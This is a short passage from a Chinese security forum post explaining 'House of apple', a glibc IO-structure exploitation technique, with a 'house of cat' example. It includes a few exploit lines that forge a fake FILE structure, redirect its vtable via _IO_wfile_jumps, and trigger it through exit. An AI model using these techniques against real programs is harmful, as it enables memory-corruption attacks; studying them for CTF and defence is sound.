[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪-安全社区|安全招聘|kanxue.com

例子:house of cat

下面讨论除了需要满足文中的各项要求外还有什么额外要求

exit/main return

# _IO_list_all point to fake iofile

# let __overflow -> __overflow
iofile.vtable = libc.symbols["_IO_wfile_jumps"] - 0x18 + 0x18
# iofile._IO_write_ptr > iofile._IO_write_base
iofile._IO_write_ptr = 1

对于exit或main正常return的方式,exit会去调用 _IO_cleanup_IO_flush_all_lockp ,内部会从 _IO_list_all 指向的iofile结构开始处理